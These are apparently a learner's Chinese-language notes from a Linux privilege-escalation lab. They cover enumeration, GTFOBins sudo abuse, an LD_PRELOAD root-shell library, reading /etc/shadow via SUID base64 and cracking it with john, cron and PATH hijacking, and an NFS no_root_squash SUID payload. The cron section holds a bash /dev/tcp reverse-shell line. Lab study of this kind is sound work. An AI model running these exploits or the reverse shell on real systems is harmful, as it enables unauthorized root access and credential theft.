特权升级是一段旅程。没有灵丹妙药,很大程度上取决于目标系统的具体配置。内核版本、已安装的应用程序、支持的编程语言、其他用户的密码是影响您通往 root shell 之路的几个关键因素。
常用命令 1 2 3 4 hostname 主机名 uname-a 打印系统信息看内核 cat /proc/version 看有没有编译器比如GCC cat /etc/issue 看是什么linux
ps命令 1 2 3 4 5 ps 查看进程 ps -A: 查看所有正在运行的进程 ps axjf:查看进程树(查看树的形成直到ps axjf下面运行) ps aux: 该aux 选项将显示所有用户的进程 (a),显示启动进程的用户 (u),并显示未连接到终端的进程 (x)。 查看 ps aux 命令输出,我们可以更好地了解系统和潜在的漏洞。
1 2 3 4 5 6 env 显示环境变量 PATH 变量可能具有编译器或脚本语言(例如 Python),可用于在目标系统上运行代码或用于权限提升。 sudo -l 目标系统可以配置为允许用户以 root 权限运行一些(或全部)命令。该 sudo -l 命令可用于列出您的用户可以使用运行的所有命令sudo。 ls -la 寻找潜在权限提升向量
1 2 3 4 5 6 7 8 9 10 cat /etc/passwd 发现系统用户的好办法 cat /etc/passwd | cut -d "1" -f 1 cat /etc/passwd |grep home 一些系统用户是放在home目录下的 history 查看之前执行的命令可能会有新发现用户名或密码 ifconfig 网络接口信息 ip route 查看存在哪些网络路由 netstat 收集有关现有连接的信息。 netstat -a 显示所有监听端口和已建立的连接。 netstat -at 或者 netstat -au也可以用来分别列出 TCP 或 UDP 协议。 netstat -ano
find命令 1 2 3 4 5 6 7 8 9 10 11 12 find . -name flag1.txt: 在当前目录中找到名为“flag1.txt”的文件 find / -name flag1.txt: 在根目录中找到名为“flag1.txt”的文件 find /home -name flag1.txt: 在 /home 目录中找到文件名“flag1.txt” find / -type d -name config: 在“/”下找到名为config的目录 find / -type f -perm 0777: 查找具有777权限的文件(所有用户可读、可写和可执行的文件) find / -perm a=x: 查找可执行文件 find /home -user frank: 在“/home”下查找用户“frank”的所有文件 find / -mtime 10: 查找最近 10 天内修改过的文件 find / -atime 10: 查找过去 10 天内访问过的文件 find / -cmin -60: 查找在过去一小时(60 分钟)内更改的文件 find / -amin -60: 查找最近一小时(60 分钟)内的文件访问 find / -size 50M: 查找大小为 50 MB 的文件 locate passwd 查找passwd文件
自动提权枚举工具 有几个工具可以帮助您在枚举过程中节省时间。这些工具应该只用于节省时间,因为它们可能会错过一些特权升级向量。以下是流行的 Linux 枚举工具列表,其中包含指向其各自 Github 存储库的链接。
1 2 3 4 5 6 LinPeas:https ://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS 这个输出太多,没点水平还真看不懂,比如我 LinEnum:https ://github.com/rebootuser/LinEnum LES(Linux Exploit Suggester): https ://github.com/mzet-/linux-exploit-suggester Linux智能枚举: https://github.com/diego-treitos/linux-smart-enumeration 这个枚举内核漏洞 Linux隐私检查器: https://github.com/linted/linuxprivchecker
sudo -l 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 sudo -l Matching Defaults entries for karen on ip-10-10-148-237: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User karen may run the following commands on ip-10-10-148-237: (ALL) NOPASSWD: /usr/bin/find (ALL) NOPASSWD: /usr/bin/less (ALL) NOPASSWD: /usr/bin/nano 知道了可以使用sudo 运行find less nano 用这个查命令尝试提权 https://gtfobins.github.io/
LD_PRELOAD 滥用
1 2 3 4 5 6 7 8 9 10 11 12 13 #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD" ); setgid(0 ); setuid(0 ); system("/bin/bash" ); } gcc -fPIC -shared -o shell.so shell.c -nostartfiles sudo LD_PRELOAD=/home/user/ldpreload/shell.so find
SUID提权
一个方法是在https://gtfobins.github.io/这里面找suid对应的程序, find / -type f -perm -04000 -ls 2>/dev/null
这个命令是看我们可以执行哪些root命令 可以用这些命令读取一些敏感文件比如base64命令
1 2 3 4 5 6 7 base64 /etc/passwd | base64 --decodebase64 /etc/shadow | base64 --decode读取到的两个文件保存为password.txt 和shadow.txt 粘贴到本地的kali机上 用unshadow工具 组合成一个文件 unshadow passwd.txt shadow.txt > crackme.txt 用john破解hash 登录就行了
1 2 unshadow passwd.txt shadow.txt > passwords.txt john passwords.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt
Capabilities 系统管理员可以用来提高进程或二进制文件权限级别的另一种方法是“Capabilities”。功能有助于在更精细的级别上管理权限。
例如,如果 SOC 分析师需要使用需要启动套接字连接的工具,普通用户将无法做到这一点。
如果系统管理员不想给这个用户更高的权限,他们可以改变二进制文件的能力。 结果,二进制文件无需更高权限的用户即可完成其任务。
列出有二进制文件具有设置功能的 getcap -r /会产生大量错误,所有将消息重定向到 /dev/null
发现有vim还有view也是可以通过Capabilities来提权的 输入命令即可,根据python版本不同,可能需要py3
计划任务提权 Cron jobs用于在特定时间运行脚本或二进制文件。默认情况下,它们以其所有者而不是当前用户的权限运行。
虽然正确配置的 cron 作业本身并不容易受到攻击,但它们可以在某些情况下提供权限提升向量。 这个想法很简单。 如果有一个以 root 权限运行的计划任务,我们可以更改将要运行的脚本,那么我们的脚本将以 root 权限运行。 我们需要做的是找一个由root设置的cron job并让它运行我们的脚本,最好是反弹shell 任何用户都可以读取保存系统范围cron job的文件,/etc/crontab
cat /etc/crontab
他们创建了一个antiviruns.sh的文件,一段时间后这个脚本没用了,他们就删了,但可能不会去删计划任务表里面的这个任务 所以就有了可以提权的机会 上面删除了antiviruns.sh 文件,但cron job 仍然存在,并且没有像backup.sh 一样定义脚本的完整路径,cron将引用*/etc/crontab*文件中PATH 变量下列出的路径,这种情况下,我们应该能够在用户的home文件夹创建一个同一个名称的脚本。
1 2 3 4 5 6 7 8 9 10 cd /home/karen /移动到PATH文件夹下 vim antivirus.sh bash -i >& /dev/tcp/10.13.40.87/7777 0>&1 发现弹不起 vim backup.sh 加一句 bash -i >& /dev/tcp/10.13.40.87/7777 0>&1 提权成功
PATH提权 1 2 3 echo $PATH 查看当前的环境变量 find / -writable 2>/dev/null 搜索可写文件夹 find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort 过滤掉 procs 发现/home/murdoch文件夹可写
创建thm文件
更改环境变量为当前目录
NFS提权 特权升级向量并不局限于内部访问。 共享文件夹和远程管理界面(如 SSH 和 Telnet)也可以帮助您获得目标系统的 root 访问权限。 某些情况还需要同时使用这两个向量,例如在目标系统上找到一个根 SSH 私钥并通过具有根权限的 SSH 连接,而不是尝试提高当前用户的权限级别。 配置错误的网络外壳。当存在网络备份系统时,有时可以在渗透测试期间看到此向量。NFS(网络文件共享) 配置保存在 /etc/exports 文件中。此文件是在 NFS 服务器安装期间创建的,通常可供用户读取 。
重点是no_root_squash 选项默认情况下,NFS 会将 root 用户更改为 nfsnobody 并剥夺任何文件以 root 权限操作。 如果可写共享上存在“no_root_squash ”选项,我们可以创建一个设置了 SUID 位的可执行文件并在目标系统上运行它。
1 showmount -e 10.10.66.180 检查一下可挂载共享
在kali机上
1 mount -o rw 10.10.66.180:/home/ubuntu/sharedfolder /tmp/sharedfolder
创建一个main.c提权payload
1 2 3 4 5 6 7 8 9 10 #include <stdio.h> #include <stdlib.h> int main () { setgid(0 ); setuid(0 ); system("/bin/bash" ); return 0 ; }
1 2 3 4 5 6 gcc main .c -o pwned -w 复制它并修改权限 cp pwned /tmp/sharedfolder sudo chown root:root /tmp/sharedfolder/pwned sudo chmod +s /tmp/sharedfolder/pwned
在受害机上
综合练习 1 2 3 uname -a Linux ip-10-10-19-149 3.10.0-1160.el7.x86_64 没找到提权相关漏洞
1 2 find / -type f -perm -04000 -ls 2>/dev/null 发现了base64 可以读/etc/shadow和/etc/passwd 跑john
1 2 3 4 5 base64 /etc/shadow | base64 -d base64 /etc/passwd | base64 -d unshadow /etc/shadow.txt /etc/passwd.txt > passwords.txt john passwords.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt 跑出了一个新用户
1 2 3 su missy 密码 登录上后sudo -l看一下能执行哪些命令
1 2 find命令可以直接提 sudo find . -exec /bin/sh \; -quit
提权成功